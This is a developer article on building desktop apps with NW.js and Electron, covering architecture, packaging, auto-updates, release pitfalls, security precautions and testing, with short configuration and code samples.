  12. 12 https://gist.github.com/ShirtlessKirk/2134376
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/01/3-luhn.gif
  14. 14 http://www.dafont.com/halter.font?text=ssfrshgrsdeh
  15. 15 https://www.fontspring.com/fonts/typodermic/kredit
  16. 16 http://www.k-type.com/fonts/credit-card/
  17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/01/4-halter-1.png
  18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/01/4-halter-2.png
  19. 19 https://github.com/ramoona/banks-db
  20. 20 https://ramoona.github.io/banks-db-demo/
  21. 21 https://github.com/postcss/postcss
  22. 22 https://www.smashingmagazine.com/2015/12/introduction-to-postcss/
  23. 23 https://github.com/ramoona/postcss-banks-db
  24. 24 https://github.com/stephenway/postcss-contrast
  25. 25 https://github.com/michael-ciniawsky/postcss-load-config
  26. 26 https://www.smashingmagazine.com/wp-content/uploads/2017/01/5-db.gif
  27. 27 https://github.com/ramoona/banks-db#contributing

↑ Back to topTweet itShare on Facebook

Beyond The Browser: From Web Apps To Desktop Apps

Beyond The Browser: From Web Apps To Desktop Apps

I started out as a web developer, and that’s now one part of what I do as a full-stack developer, but never had I imagined I’d create things for the desktop. I love the web. I love how altruistic our community is, how it embraces open-source, testing and pushing the envelope. I love discovering beautiful websites and powerful apps. When I was first tasked with creating a desktop app, I was apprehensive and intimidated. It seemed like it would be difficult, or at least… different.

It’s not an attractive prospect, right? Would you have to learn a new language or three? Imagine an archaic, alien workflow, with ancient tooling, and none of those things you love about the web. How would your career be affected?

OK, take a breath. The reality is that, as a web developer, not only do you already possess all of the skills to make great modern desktop apps, but thanks to powerful new APIs at your disposal, the desktop is actually where your skills can be leveraged the most.

In this article, we’ll look at the development of desktop applications using NW.js1 and Electron2, the ups and downs of building one and living with one, using one code base for the desktop and the web, and more.

Further Reading on SmashingMag: Link

Why? Link

First of all, why would anyone create a desktop app? Any existing web app (as opposed to a website, if you believe in the distinction) is probably suited to becoming a desktop app. You could build a desktop app around any web app that would benefit from integration in the user’s system; think native notifications, launching on startup, interacting with files, etc. Some users simply prefer having certain apps there permanently on their machine, accessible whether they have a connection or not.

Maybe you’ve an idea that would only work as a desktop app; some things simply aren’t possible with a web app (at least yet, but more about that in a little bit). You could create a self-contained utility app for internal company use, without requiring anyone to install anything other than your app (because Node.js in built-in). Maybe you’ve an idea for the Mac App Store. Maybe it would simply be a fun side project.

It’s hard to sum up why you should consider creating a desktop app because there are so many kinds of apps you could create. It really depends on what you’d like to achieve, how advantageous you find the additional APIs, and how much offline usage would enhance the experience for your users. For my team, it was a no-brainer because we were building a chat application7. On the other hand, a connection-dependent desktop app that doesn’t really have any desktop integration should be a web app and a web app alone. It wouldn’t be fair to expect a user to download your app (which includes a browser of its own and Node.js) when they wouldn’t get any more value from it than from visiting a URL of yours in their favorite browser.

Instead of describing the desktop app you personally should build and why, I’m hoping to spark an idea or at least spark your interest in this article. Read on to see just how easy it is to create powerful desktop apps using web technology and what that can afford you over (or alongside of) creating a web app.

NW.js Link

Desktop applications have been around a long time but you don’t have all day, so let’s skip some history and begin in Shanghai, 2011. Roger Wang, of Intel’s Open Source Technology Center, created node-webkit; a proof-of-concept Node.js module that allowed the user to spawn a WebKit browser window and use Node.js modules within <script> tags.

After some progress and a switch from WebKit to Chromium (the open-source project Google Chrome is based on), an intern named Cheng Zhao joined the project. It was soon realized that an app runtime based on Node.js and Chromium would make a nice framework for building desktop apps. The project went on be quite popular.

Note: node-webkit was later renamed NW.js to make it a bit more generic because it no longer used Node.js or WebKit. Instead of Node.js, it was based on io.js (the Node.js fork) at the time, and Chromium had moved on from WebKit to its own fork, Blink.

So, if you were to download an NW.js app, you would actually be downloading Chromium, plus Node.js, plus the actual app code. Not only does this mean a desktop app can be created using HTML, CSS and JavaScript, but the app would also have access to all of the Node.js APIs (to read and write to disk, for example), and the end user wouldn’t know any better. That’s pretty powerful, but how does it work? Well, first let’s take a look at Chromium.

8
A rough diagram of Chromium’s internals. (Note: this diagram is intentionally very simple; it’s a lot more complex than this.) (View large version9)

There is a main background process, and each tab gets its own process. You might have seen that Google Chrome always has at least two processes in Windows’ task manager or macOS’ activity monitor. I haven’t even attempted to arrange the contents of the main process here, but it contains the Blink rendering engine, the V8 JavaScript engine (which is what Node.js is built on, too, by the way) and some platform APIs that abstract native APIs. Each isolated tab or renderer process has access to the JavaScript engine, CSS parser and so on, but it is completely separate to the main process for fault tolerance. Renderer processes interact with the main process through interprocess communication (IPC).

NW.js diagram10
A rough diagram of an NW.js app’s internals (View large version11)

This is roughly what an NW.js app looks like. It’s basically the same, except that each window has access to Node.js now as well. So, you have access to the DOM and you can require other scripts, node modules you’ve installed from npm, or built-in modules provided by NW.js. By default, your app has one window, and from there you can spawn other windows.

Creating an app is really easy. All you need is an HTML file and a package.json, like you would have when working with Node.js. You can create a default one by running npm init --yes. Typically, a package.json would point a JavaScript file as the “main” file for the module (i.e. using the main property), but with NW.js you need to edit the main property to point to your HTML file.

{ "name": "example-app", "version": "1.0.0", "description": "", "main": "index.html", "scripts": { "test": "echo "Error: no test specified" && exit 1" }, "keywords": [], "author": "", "license": "ISC" } 
<!-- index.html --> <!DOCTYPE html> <html> <head> <title>Example app</title> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <h1>Hello, world!</h1> </body> </html> 

Once you install the official nw package from npm (by running npm install -g nw), you can run nw . within the project directory to launch your app.

Example app screenshot12
A screenshot of our example NW.js app (View large version13)

It’s as easy as that. So, what happened here was that NW.js opened the initial window, loading your HTML file. I know this doesn’t look like much, but it’s up to you add some markup and styles, just like you would in a web app.

You could drop the window bar and chrome if you like, or create your own custom frame. You could have semi to fully transparent windows, hidden windows and more. I took this a bit further recently and resurrected Clippy14 using NW.js. There’s something weirdly satisfying about seeing Clippy on macOS or Windows 10.

Screenshot of clippy.desktop on macOS15
A screenshot of clippy.desktop on macOS. (View large version16)

So, you get to write HTML, CSS and JavaScript. You can use Node.js to read and write to disk, execute system commands, spawn other executables and more. Hypothetically, you could build a multiplayer roulette game over WebRTC that deletes some of the users’ files randomly, if you wanted.

Bar graph showing the number of modules per major package manager17
Bar graph showing the number of modules per major package manager. (Source: Module Counts18) (View large version19)

You get access not only to Node.js’ APIs but to all of npm, which has over 350,000 modules now. For example, auto-launch20 is an open-source module we created at Teamwork.com21 to launch an NW.js or Electron app on startup.

Node.js also has what’s known as “native modules,” which, if you really need to do something a bit lower level, allows you to create modules in C or C++.

To top it all off, NW.js exposes APIs that effectively wrap native APIs, allowing you to integrate closely with the desktop environment. You can have a tray icon, open a file or URL in the default system application, and a lot lot more. All you need to do to trigger a notification is use the HTML5 notification API:

new Notification('Hello', { body: 'world' }); 

Electron Link

You might recognize GitHub’s text editor, Atom, below. Whether you use it or not, Atom was a game-changer for desktop apps. GitHub started development of Atom in 2013, soon recruited Cheng Zhao, and forked node-webkit as its base, which it later open-sourced under the name atom-shell.

Atom screenshot22
A screenshot of Atom, GitHub’s text editor (View large version23)

Note: It’s disputed whether Electron is a fork of node-webkit or whether everything was rewritten from scratch. Either way, it’s effectively a fork for the end user because the APIs were almost identical.

In making Atom, GitHub improved on the formula and ironed out a lot of the bugs. In 2015, atom-shell was renamed Electron. Since then it has hit version 1.0, and with GitHub pushing it, it has really taken off.

Logos of projects that use Electron24
Logos of projects that use Electron (View large version25)

As well as Atom, other notable projects built with Electron include Slack, Visual Studio Code, Brave, HyperTerm and Nylas, which is really doing some cutting-edge stuff with it. Mozilla Tofino is an interesting one, too. It was an internal project at Mozilla (the company behind Firefox), with the aim of radically improving web browsers. Yeah, a team within Mozilla chose Electron (which is based on Chromium) for this experiment.

How Does It Differ? Link

But how is it different from NW.js? First of all, Electron is less browser-oriented than NW.js. The entry point for an Electron app is a script that runs in the main process.

Electron architecture diagram26
A rough diagram of an Electron app’s internals (View large version27)

The Electron team patched Chromium to allow for the embedding of multiple JavaScript engines that could run at the same time. So, when Chromium releases a new version, they don’t have to do anything.

Note: NW.js hooks into Chromium a little differently, and this was often blamed on the fact NW.js wasn’t quite as good at keeping up with Chromium as Electron was. However, throughout 2016, NW.js has released a new version within 24 hours of each major Chromium release, which the team attributes to an organizational shift.

Back to the main process. Your app hasn’t any window by default, but you can open as many windows as you’d like from the main process, each having its own renderer process, just like NW.js.

So, yeah, the minimum you need for an Electron app is a main JavaScript file (which we’ll leave empty for now) and a package.json that points to it. Then, all you need to do is npm install --save-dev electron and run electron . to launch your app.

{ "name": "example-app", "version": "1.0.0", "description": "", "main": "main.js", "scripts": { "test": "echo "Error: no test specified" && exit 1" }, "keywords": [], "author": "", "license": "ISC" } 
// main.js, which is empty 

Not much will happen, though, because your app hasn’t any window by default. You can open as many windows as you’d like from the main process, each having its own renderer process, just like they’d have in an NW.js app.

// main.js const {app, BrowserWindow} = require('electron'); let mainWindow; app.on('ready', () => { mainWindow = new BrowserWindow({ width: 500, height: 400 }); mainWindow.loadURL('file://' + __dirname + '/index.html'); }); 
<!-- index.html --> <!DOCTYPE html> <html> <head> <title>Example app</title> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <h1>Hello, world!</h1> </body> </html> 

You could load a remote URL in this window, but typically you’d create a local HTML file and load that. Ta-da!

Screenshot of example Electron app28
A screenshot of our example Electron app (View large version29)

Of the built-in modules Electron provides, like the app or BrowserWindow module used in the previous example, most can only be used in either the main or a renderer process. For example, the main process is where, and only where, you can manage your windows, automatic updates and more. You might want a click of a button to trigger something in your main process, though, so Electron comes with built-in methods for IPC. You can basically emit arbitrary events and listen for them on the other side. In this case, you’d catch the click event in the renderer process, emit an event over IPC to the main process, catch it in the main process and finally perform the action.

OK, so Electron has distinct processes, and you have to organize your app slightly differently, but that’s not a big deal. Why are people using Electron instead of NW.js? Well, there’s mindshare. So many related tools and modules are out there as a result of its popularity. The documentation is better. Most importantly, it has fewer bugs and superior APIs.

Electron’s documentation really is amazing, though — that’s worth emphasizing. Take the Electron API Demos app30. It’s an Electron app that interactively demonstrates what you can do with Electron’s APIs. Not only is the API described and sample code provided for creating a new window, for example, but clicking a button will actually execute the code and a new window will open.

A screenshot of the Electron API Demos app31
A screenshot of the Electron API Demos app (View large version32)

If you submit an issue via Electron’s bug tracker, you’ll get a response within a couple of days. I’ve seen three-year-old NW.js bugs, although I don’t hold it against them. It’s tough when an open-source project is written in languages drastically different from the languages known by its users. NW.js and Electron are written mostly in C++ (and a tiny bit of Objective C++) but used by people who write JavaScript. I’m extremely grateful for what NW.js has given us.

Electron ironed out a few of the flaws in the NW.js APIs. For example, you can bind global keyboard shortcuts, which would be caught even if your app isn’t focused. An example API flaw I ran into was that binding to Control + Shift + A in an NW.js app did what you would expect on Windows, but actually bound to Command + Shift + A on a Mac. This was intentional but really weird. There was no way to bind to the Control key. Also, binding to the Command key did bind to the Command key but the Windows key on Windows and Linux as well. The Electron team spotted these problems (when adding shortcuts to Atom I assume) and quickly updated their globalShortcut API so both of these cases work as you’d expect. To be fair, NW.js has since fixed the former but not the latter.

There are a few other differences. For instance, in recent NW.js versions, notifications that were previously native are now Chrome-style ones. These don’t go into the notification centre on Mac OS X or Windows 10, but there are modules on npm that you could use as a workaround if you’d like. If you want to do something interesting with audio or video, use Electron, because some codecs don’t work out of the box with NW.js.

Electron has added a few new APIs as well, more desktop integration, and it has built-in support for automatic updates, but I’ll cover that later.

But How Does It Feel? Link

It feels fine. Sure, it’s not native. Most desktop apps these days don’t look like Windows Explorer or Finder anyway, so users won’t mind or realize that HTML is behind your user interface. You can make it feel more native if you’d like, but I’m not convinced it will make the experience any better. For example, you could prevent the cursor from turning to a hand when the user hovers over a button. That’s how a native desktop app would act, but is that better? There are also projects out there like Photon Kit33, which is basically a CSS framework like Bootstrap, but for macOS-style components.

Photon app example screenshot34
A screenshot of an example Electron app made with Photon (View large version35)

Performance Link

What about performance? Is it slow or laggy? Well, your app is essentially a web app. It’ll perform pretty much like a web app in Google Chrome. You can create a performant app or a sluggish one, but that’s fine because you already have the skills to analyze and improve performance. One of the best things about your app being based on Chromium is that you get its DevTools. You can debug within the app or remotely, and the Electron team has even created a DevTools extension named Devtron36 to monitor some Electron-specific stuff.

Your desktop app can be more performant than a web app, though. One thing you could do is create a worker window, a hidden window that you use to perform any expensive work. Because it’s an isolated process, any computation or processing going on in that window won’t affect rendering, scrolling or anything else in your visible window(s).

Keep in mind that you can always spawn system commands, spawn executables or drop down to native code if you really need to (you won’t).

Distribution Link

Both NW.js and Electron support a wide array of platforms, including Windows, Mac and Linux. Electron doesn’t support Windows XP or Vista; NW.js does. Getting an NW.js app into the Mac App Store is a bit tricky; you’ll have to jump through a few hoops. Electron, on the other hand, comes with Mac App Store-compatible builds, which are just like the normal builds except that you don’t have access to some modules, such as the auto-updater module (which is fine because your app will update via the Mac App Store anyway).

Electron even supports ARM builds, so your app can run on a Chromebook or Raspberry Pi. Finally, Google may be phasing out Chrome Packaged Apps37, but NW.js allows you to port an app over to an NW.js app and still have access the same Chromium APIs.

Even though 32-bit and 64-bit builds are supported, you’ll get away with 64-bit Mac and Windows apps. You will need 32-bit and 64-bit Linux apps, though, for compatibility.

So, let’s say that Electron has won over and you want to ship an Electron app. There’s a nice Node.js module named electron-packager38 that helps with packing your app up into an .app or .exe file. A few similar projects exist, including interactive ones that prompt you step by step. You should use electron-builder7939, though, which builds on top of electron-packager, plus a few other related modules. It generates .dmgs and Windows installers and takes care of the code-signing of your app for you. This is really important. Without it, your app would be labelled as untrusted by operating systems, your app could trigger anti-virus software, and Microsoft SmartScreen might try to block the user from launching your app.

The annoying thing about code-signing is that you have to sign your app on a Mac for Mac and on Windows for Windows. So, if you’re serious about shipping desktop apps, then you’ll need to build on multiple machines for each release.

This can feel a bit too manual or tedious, especially if you’re used to creating for the web. Thankfully, electron-builder was created with automation in mind. I’m talking here about continuous integration tools and services such as Jenkins40, CodeShip41, Travis-CI42, AppVeyor43 (for Windows) and so on. These could run your desktop app build at the press of a button or at every push to GitHub, for example.

Automatic Updates Link

NW.js doesn’t have automatic update support, but you’ll have access to all of Node.js, so you can do whatever you want. Open-source modules are out there for it, such as node-webkit-updater44, which handles downloading and replacing your app with a newer version. You could also roll your own custom system if you wanted.

Electron has built-in support for automatic updates, via its autoUpdater8045 API. It doesn’t support Linux, first of all; instead, publishing your app to Linux package managers is recommended. This is common on Linux — don’t worry. The autoUpdater API is really simple; once you give it a URL, you can call the checkForUpdates method. It’s event-driven, so you can subscribe to the update-downloaded event, for example, and once it’s fired, call the restartAndInstall method to install the new version and restart the app. You can listen for a few other events, which you can use to tie the auto-updating functionality into your user interface nicely.

Note: You can have multiple update channels if you want, such as Google Chrome and Google Chrome Canary.

It’s not quite as simple behind the API. It’s based on the Squirrel update framework, which differs drastically between Mac and Windows, which use the Squirrel.Mac46 and Squirrel.Windows47 projects, respectively.

The update code within your Mac Electron app is simple, but you’ll need a server (albeit a simple server). When you call the autoUpdater module’s checkForUpdates method, it will hit your server. What your server needs to do is return a 204 (“No Content”) if there isn’t an update; and if there is, it needs to return a 200 with a JSON containing a URL pointing to a .zip file. Back under the hood of your app (or the client), Squirrel.Mac will know what to do. It’ll go get that .zip, unzip it and fire the appropriate events.

There a bit more (magic) going on in your Windows app when it comes to automatic updates. You won’t need a server, but you can have one if you’d like. You could host the static (update) files somewhere, such as AWS S3, or even have them locally on your machine, which is really handy for testing. Despite the differences between Squirrel.Mac and Squirrel.Windows, a happy medium can be found; for example, having a server for both, and storing the updates on S3 or somewhere similar.

Squirrel.Windows has a couple of nice features over Squirrel.Mac as well. It applies updates in the background; so, when you call restartAndInstall, it’ll be a bit quicker because it’s ready and waiting. It also supports delta updates. Let’s say your app checks for updates and there is one newer version. A binary diff (between the currently installed app and the update) will be downloaded and applied as a patch to the current executable, instead of replacing it with a whole new app. It can even do that incrementally if you’re, say, three versions behind, but it will only do that if it’s worth it. Otherwise, if you’re, say, 15 versions behind, it will just download the latest version in its entirety instead. The great thing is that all of this is done under the hood for you. The API remains really simple. You check for updates, it will figure out the optimal method to apply the update, and it will let you know when it’s ready to go.

Note: You will have to generate those binary diffs, though, and host them alongside your standard updates. Thankfully, electron-builder generates these for you, too.

Thanks to the Electron community, you don’t have to build your own server if you don’t want to. There are open-source projects you can use. Some allow you to store updates on S348 or use GitHub releases49, and some even go as far as providing administrative dashboards50 to manage the updates.

Desktop Versus Web Link

So, how does making a desktop app differ from making a web app? Let’s look at a few unexpected problems or gains you might come across along the way, some unexpected side effects of APIs you’re used to using on the web, workflow pain points, maintenance woes and more.

Well, the first thing that comes to mind is browser lock-in. It’s like a guilty pleasure. If you’re making a desktop app exclusively, you’ll know exactly which Chromium version all of your users are on. Let your imagination run wild; you can use flexbox, ES6, pure WebSockets, WebRTC, anything you want. You can even enable experimental features in Chromium for your app (i.e. features coming down the line) or tweak settings such as your localStorage allowance. You’ll never have to deal with any cross-browser incompatibilities. This is on top of Node.js’ APIs and all of npm. You can do anything.

Note: You’ll still have to consider which operating system the user is running sometimes, though, but OS-sniffing is a lot more reliable and less frowned upon than browser sniffing.

Working With file:// Link

Another interesting thing is that your app is essentially offline-first. Keep that in mind when creating your app; a user can launch your app without a network connection and your app will run; it will still load the local files. You’ll need to pay more attention to how your app behaves if the network connection is lost while it’s running. You may need to adjust your mindset.

Note: You can load remote URLs if you really want, but I wouldn’t.

One tip I can give you here is not to trust navigator.onLine51 completely. This property returns a Boolean indicating whether or not there’s a connection, but watch out for false positives. It’ll return true if there’s any local connection without validating that connection. The Internet might not actually be accessible; it could be fooled by a dummy connection to a Vagrant virtual machine on your machine, etc. Instead, use Sindre Sorhus’ is-online52 module to double-check; it will ping the Internet’s root servers and/or the favicon of a few popular websites. For example:

const isOnline = require('is-online'); if(navigator.onLine){ // hmm there's a connection, but is the Internet accessible? isOnline().then(online => { console.log(online); // true or false }); } else { // we can trust navigator.onLine when it says there is no connection console.log(false); } 

Speaking of local files, there are a few things to be aware of when using the file:// protocol — protocol-less URLs, for one; you can’t use them anymore. I mean URLs that start with // instead of http:// or https://. Typically, if a web app requests //example.com/hello.json, then your browser would expand this to http://example.com/hello.json or to https://example.com/hello.json if the current page is loaded over HTTPS. In our app, the current page would load using the file:// protocol; so, if we requested the same URL, it would expand to file://example.com/hello.json and fail. The real worry here is third-party modules you might be using; authors aren’t thinking of desktop apps when they make a library.

You’d never use a CDN. Loading local files is basically instantaneous. There’s also no limit on the number of concurrent requests (per domain), like there is on the web (with HTTP/1.1 at least). You can load as many as you want in parallel.

Artifacts Galore Link

A lot of asset generation is involved in creating a solid desktop app. You’ll need to generate executables and installers and decide on an auto-update system. Then, for each update, you’ll have to build the executables again, more installers (because if someone goes to your website to download it, they should get the latest version) and binary diffs for delta updates.

Weight is still a concern. A “Hello, World!” Electron app is 40 MB zipped. Besides the typical advice you follow when creating a web app (write less code, minify it, have fewer dependencies, etc.), there isn’t much I can offer you. The “Hello, World!” app is literally an app containing one HTML file; most of the weight comes from the fact that Chromium and Node.js are baked into your app. At least delta updates will reduce how much is downloaded when a user performs an update (on Windows only, I’m afraid). However, your users won’t be downloading your app on a 2G connection (hopefully!).

Expect the Unexpected Link

You will discover unexpected behavior now and again. Some of it is more obvious than the rest, but a little annoying nonetheless. For example, let’s say you’ve made a music player app that supports a mini-player mode, in which the window is really small and always in front of any other apps. If a user were to click or tap a dropdown (<select/>), then it would open to reveal its options, overflowing past the bottom edge of the app. If you were to use a non-native select library (such as select2 or chosen), though, you’re in trouble. When open, your dropdown will be cut off by the edge of your app. So, the user would see a few items and then nothing, which is really frustrating. This would happen in a web browser, too, but it’s not often the user would resize the window down to a small enough size.

Screenshots comparing what happens to a native dropdown versus a non-native one53
Screenshots comparing what happens to a native dropdown versus a non-native one as they hit any edges of an app window (View large version54)

You may or may not know it, but on a Mac, every window has a header and a body. When a window isn’t focused, if you hover over an icon or button in the header, its appearance will reflect the fact that it’s being hovered over. For example, the close button on macOS is gray when the window is blurred but red when you hover over it. However, if you move your mouse over something in the body of the window, there is no visible change. This is intentional. Think about your desktop app, though; it’s Chromium missing the header, and your app is the web page, which is the body of the window. You could drop the native frame and create your own custom HTML buttons instead for minimize, maximize and close. If your window isn’t focused, though, they won’t react if you were to hover over them. Hover styles won’t be applied, and that feels really wrong. To make it worse, if you were to click the close button, for example, it would focus the window and that’s it. A second click would be required to actually click the button and close the app.

To add insult to injury, Chromium has a bug that can mask the problem, making you think it works as you might have originally expected. If you move your mouse fast enough (nothing too unreasonable) from outside the window to an element inside the window, hover styles will be applied to that element. It’s a confirmed bug; applying the hover styles on a blurred window body “doesn’t meet platform expectations,” so it will be fixed. Hopefully, I’m saving you some heartbreak here. You could have a situation in which you’ve created beautiful custom window controls, yet in reality a lot of your users will be frustrated with your app (and will guess it’s not native).

So, you must use native buttons on a Mac. There’s no way around that. For an NW.js app, you must enable the native frame, which is the default anyway (you can disable it by setting window object’s frame property to false in your package.json).

You could do the same with an Electron app. This is controlled by setting the frame property when creating a window; for example, new BrowserWindow({width: 800, height: 600, frame: true}). As the Electron team does, they spotted this issue and added another option as a nice compromise; titleBarStyle. Setting this to hidden will hide the native title bar but keep the native window controls overlaid over the top-left corner of your app. This gets you around the problem of having non-native buttons on Mac, but you can still style the top of the app (and the area behind the buttons) however you like.

// main.js const {app, BrowserWindow} = require('electron'); let mainWindow; app.on('ready', () => { mainWindow = new BrowserWindow({ width: 500, height: 400, titleBarStyle: 'hidden' }); mainWindow.loadURL('file://' + __dirname + '/index.html'); }); 

Here’s an app in which I’ve disabled the title bar and given the html element a background image:

A screenshot of our example app without the title bar55
A screenshot of our example app without the title bar (View large version56)

See “Frameless Window57” from Electron’s documentation for more.

Tooling Link

Well, you can pretty much use all of the tooling you’d use to create a web app. Your app is just HTML, CSS and JavaScript, right? Plenty of plugins and modules are out there specifically for desktop apps, too, such as Gulp plugins for signing your app, for example (if you didn’t want to use electron-builder). Electron-connect58 watches your files for changes, and when they occur, it’ll inject those changes into your open window(s) or relaunch the app if it was your main script that was modified. It is Node.js, after all; you can pretty much do anything you’d like. You could run webpack inside your app if you wanted to — I’ve no idea why you would, but the options are endless. Make sure to check out awesome-electron59 for more resources.

Release Flow Link

What’s it like to maintain and live with a desktop app? First of all, the release flow is completely different. A significant mindset adjustment is required. When you’re working on the web app and you deploy a change that breaks something, it’s not really a huge deal (of course, that depends on your app and the bug). You can just roll out a fix. Users who reload or change the page and new users who trickle in will get the latest code. Developers under pressure might rush out a feature for a deadline and fix bugs as they’re reported or noticed. You can’t do that with desktop apps. You can’t take back updates you push out there. It’s more like a mobile app flow. You build the app, put it out there, and you can’t take it back. Some users might not even update from a buggy version to the fixed version. This will make you worry about all of the bugs out there in old versions.

Quantum Mechanics Link

Because a host of different versions of your app are in use, your code will exist in multiple forms and states. Multiple variants of your client (desktop app) could be hitting your API in 10 slightly different ways. So, you’ll need to strongly consider versioning your API, really locking down and testing it well. When an API change is to be introduced, you might not be sure if it’s a breaking change or not. A version released a month ago could implode because it has some slightly different code.

Fresh Problems to Solve Link

You might receive a few strange bug reports — ones that involve bizarre user account arrangements, specific antivirus software or worse. I had a case in which a user had installed something (or had done something themselves) that messed with their system’s environment variables. This broke our app because a dependency we used for something critical failed to execute a system command because the command could no longer be found. This is a good example because there will be occasions when you’ll have to draw a line. This was something critical to our app, so we couldn’t ignore the error, and we couldn’t fix their machine. For users like this, a lot of their desktop apps would be somewhat broken at best. In the end, we decided to show a tailored error screen to the user if this unlikely error were ever to pop up again. It links to a document explaining why it has occurred and has a step-by-step guide to fix it.

Sure, a few web-specific concerns are no longer applicable when you’re working on a desktop app, such as legacy browsers. You will have a few new ones to take into consideration, though. There’s a 256-character limit on file paths in Windows, for example.

Old versions of npm store dependencies in a recursive file structure. Your dependencies would each get stored in their own directory within a node_modules directory in your project (for example, node_modules/a). If any of your dependencies have dependencies of their own, those grandchild dependencies would be stored in a node_modules within that directory (for example, node_modules/a/node_modules/b). Because Node.js and npm encourage small single-purpose modules, you could easily end up with a really long path, like path/to/your/project/node_modules/a/node_modules/b/node_modules/c/.../n/index.js.

Note: Since version 3, npm flattens out the dependency tree as much as possible. However, there are other causes for long paths.

We had a case in which our app wouldn’t launch at all (or would crash soon after launching) on certain versions of Windows due to an exceeding long path. This was a major headache. With Electron, you can put all of your app’s code into an asar archive60, which protects against path length issues but has exceptions and can’t always be used.

We created a little Gulp plugin named gulp-path-length61, which lets you know whether any dangerously long file paths are in your app. Where your app is stored on the end user’s machine will determine the true length of the path, though. In our case, our installer will install it to C:Users<username>AppDataRoaming. So, when our app is built (locally by us or by a continuous integration service), gulp-path-length is instructed to audit our files as if they’re stored there (on the user’s machine with a long username, to be safe).

var gulp = require('gulp'); var pathLength = require('gulp-path-length'); gulp.task('default', function(){ gulp.src('./example/**/*', {read: false}) .pipe(pathLength({ rewrite: { match: './example', replacement: 'C:\Users\this-is-a-long-username\AppData\Roaming\Teamwork Chat\' } })); }); 

Fatal Errors Can Be Really Fatal Link

Because all of the automatic updates handling is done within the app, you could have an uncaught exception that crashes the app before it even gets to check for an update. Let’s say you discover the bug and release a new version containing a fix. If the user launches the app, an update would start downloading, and then the app would die. If they were to relaunch app, the update would start downloading again and… crash. So, you’d have to reach out to all of your users and let them know they’ll need to reinstall the app. Trust me, I know. It’s horrible.

Analytics and Bug Reports Link

You’ll probably want to track usage of the app and any errors that occur. First of all, Google Analytics won’t work (out of the box, at least). You’ll have to find something that doesn’t mind an app that runs on file:// URLs. If you’re using a tool to track errors, make sure to lock down errors by app version if the tool supports release-tracking. For example, if you’re using Sentry62 to track errors, make sure to set the release property when setting up your client63, so that errors will be split up by app version. Otherwise, if you receive a report about an error and roll out a fix, you’ll keep on receiving reports about the error, filling up your reports or logs with false positives. These errors will be coming from people using older versions.

Electron has a crashReporter64 module, which will send you a report any time the app completely crashes (i.e. the entire app dies, not for any old error thrown). You can also listen for events indicating that your renderer process has become unresponsive.

Security Link

Be extra-careful when accepting user input or even trusting third-party scripts, because a malicious individual could have a lot of fun with access to Node.js. Also, never accept user input and pass it to a native API or command without proper sanitation.

Don’t trust code from vendors either. We had a problem recently with a third-party snippet we had included in our app for analytics, provided by company X. The team behind it rolled out an update with some dodgy code, thereby introducing a fatal error in our app. When a user launched our app, the snippet grabbed the newest JavaScript from their CDN and ran it. The error thrown prevented anything further from executing. Anyone with the app already running was unaffected, but if they were to quit it and launch it again, they’d have the problem, too. We contacted X’s support team and they promptly rolled out a fix. Our app was fine again once our users restarted it, but it was scary there for a while. We wouldn’t have been able to patch the problem ourselves without forcing affected users to manually download a new version of the app (with the snippet removed).

How can you mitigate this risk? You could try to catch errors, but you’ve no idea what they company X might do in its JavaScript, so you’re better off with something more solid. You could add a level of abstraction. Instead of pointing directly to X’s URL from your <script>, you could use Google Tag Manager65 or your own API to return either HTML containing the <script> tags or a single JavaScript file containing all of your third-party dependencies somehow. This would enable you to change which snippets get loaded (by tweaking Google Tag Manager or your API endpoint) without having to roll out a new update.

However, if the API no longer returned the analytics snippet, the global variable created by the snippet would still be there in your code, trying to call undefined functions. So, we haven’t solved the problem entirely. Also, this API call would fail if a user launches the app without a connection. You don’t want to restrict your app when offline. Sure, you could use a cached result from the last time the request succeeded, but what if there was a bug in that version? You’re back to the same problem.

Another solution would be to create a hidden window and load a (local) HTML file there that contains all of your third-party snippets. So, any global variables that the snippets create would be scoped to that window. Any errors thrown would be thrown in that window and your main window(s) would be unaffected. If you needed to use those APIs or global variables in your main window(s), you’d do this via IPC now. You’d send an event over IPC to your main process, which would then send it onto the hidden window, and if it was still healthy, it would listen for the event and call the third-party function. That would work.

This brings us back to security. What if someone malicious at company X were to include some dangerous Node.js code in their JavaScript? We’d be rightly screwed. Luckily, Electron has a nice option to disable Node.js for a given window, so it simply wouldn’t run:

// main.js const {app, BrowserWindow} = require('electron'); let thirdPartyWindow; app.on('ready', () => { thirdPartyWindow = new BrowserWindow({ width: 500, height: 400, webPreferences: { nodeIntegration: false } }); thirdPartyWindow.loadURL('file://' + __dirname + '/third-party-snippets.html'); }); 

Automated Testing Link

NW.js doesn’t have any built-in support for testing. But, again, you have access to Node.js, so it’s technically possible. There is a way to test stuff such as button-clicking within the app using Chrome Remote Interface66, but it’s tricky. Even then, you can’t trigger a click on a native window control and test what happens, for example.

The Electron team has created Spectron67 for automated testing, and it supports testing native controls, managing windows and simulating Electron events. It can even be run in continuous integration builds.

var Application = require('spectron').Application var assert = require('assert') describe('application launch', function () { this.timeout(10000) beforeEach(function () { this.app = new Application({ path: '/Applications/MyApp.app/Contents/MacOS/MyApp' }) return this.app.start() }) afterEach(function () { if (this.app && this.app.isRunning()) { return this.app.stop() } }) it('shows an initial window', function () { return this.app.client.getWindowCount().then(function (count) { assert.equal(count, 1) }) }) }) 

Because your app is HTML, you could easily use any tool to test web apps, just by pointing the tool at your static files. However, in this case, you’d need to make sure the app can run in a web browser without Node.js.

Desktop And Web Link

It’s not necessarily about desktop or web. As a web developer, you have all of the tools required to make an app for either environment. Why not both? It takes a bit more effort, but it’s worth it. I’ll mention a few related topics and tools, which are complicated in their own right, so I’ll keep just touch on them.

First of all, forget about “browser lock-in,” native WebSockets, etc. The same goes for ES6. You can either revert to writing plain old ES5 JavaScript or use something like Babel68 to transpile your ES6 into ES5, for web use.

You also have requires throughout your code (for importing other scripts or modules), which a browser won’t understand. Use a module bundler that supports CommonJS (i.e. Node.js-style requires), such as Rollup69, webpack70 or Browserify71. When making a build for the web, a module bundler will run over your code, traverse all of the requires and bundle them up into one script for you.

Any code using Node.js or Electron APIs (i.e. to write to disk or integrate with the desktop environment) should not be called when the app is running on the web. You can detect this by checking whether process.version.nwjs or process.versions.electron exists; if it does, then your app is currently running in the desktop environment.

